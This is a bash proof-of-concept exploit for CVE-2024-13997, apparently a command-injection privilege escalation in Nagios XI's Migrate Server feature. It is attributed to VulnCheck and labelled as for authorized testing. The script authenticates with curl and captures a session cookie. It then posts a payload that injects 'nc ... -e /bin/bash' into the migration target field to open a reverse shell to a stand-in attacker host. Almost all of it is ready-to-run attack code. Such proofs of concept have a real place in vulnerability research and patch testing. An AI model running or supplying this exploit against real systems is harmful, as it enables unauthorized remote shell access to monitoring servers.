CVE-2024-13997

#!/bin/bash # CVE-2024-13997 PoC - Nagios XI Privilege Escalation via Migrate Server # Author: VulnCheck # Note: This PoC is for educational and authorized testing purposes only TARGET_HOST="target-nagios-xi.example.com" USERNAME="admin" PASSWORD="admin_password" ATTACKER_IP="attacker.example.com" # Step 1: Authenticate to Nagios XI SESSION_COOKIE=$(curl -s -c - -d "username=${USERNAME}&password=${PASSWORD}" \ "https://${TARGET_HOST}/nagiosxi/login.php" | grep nagiosxi | awk '{print $NF}') if [ -z "$SESSION_COOKIE" ]; then echo "[-] Authentication failed" exit 1 fi echo "[+] Successfully authenticated" # Step 2: Trigger Migrate Server feature with malicious payload # The payload exploits command injection in migration script MALICIOUS_PAYLOAD="; nc ${ATTACKER_IP} 4444 -e /bin/bash #" curl -s -b "nagiosxi=${SESSION_COOKIE}" \ -X POST \ -d "action=migrate&target=${MALICIOUS_PAYLOAD}" \ "https://${TARGET_HOST}/nagiosxi/includes/components/migrate/migrate.php" echo "[+] Exploit payload sent, check listener for reverse shell"

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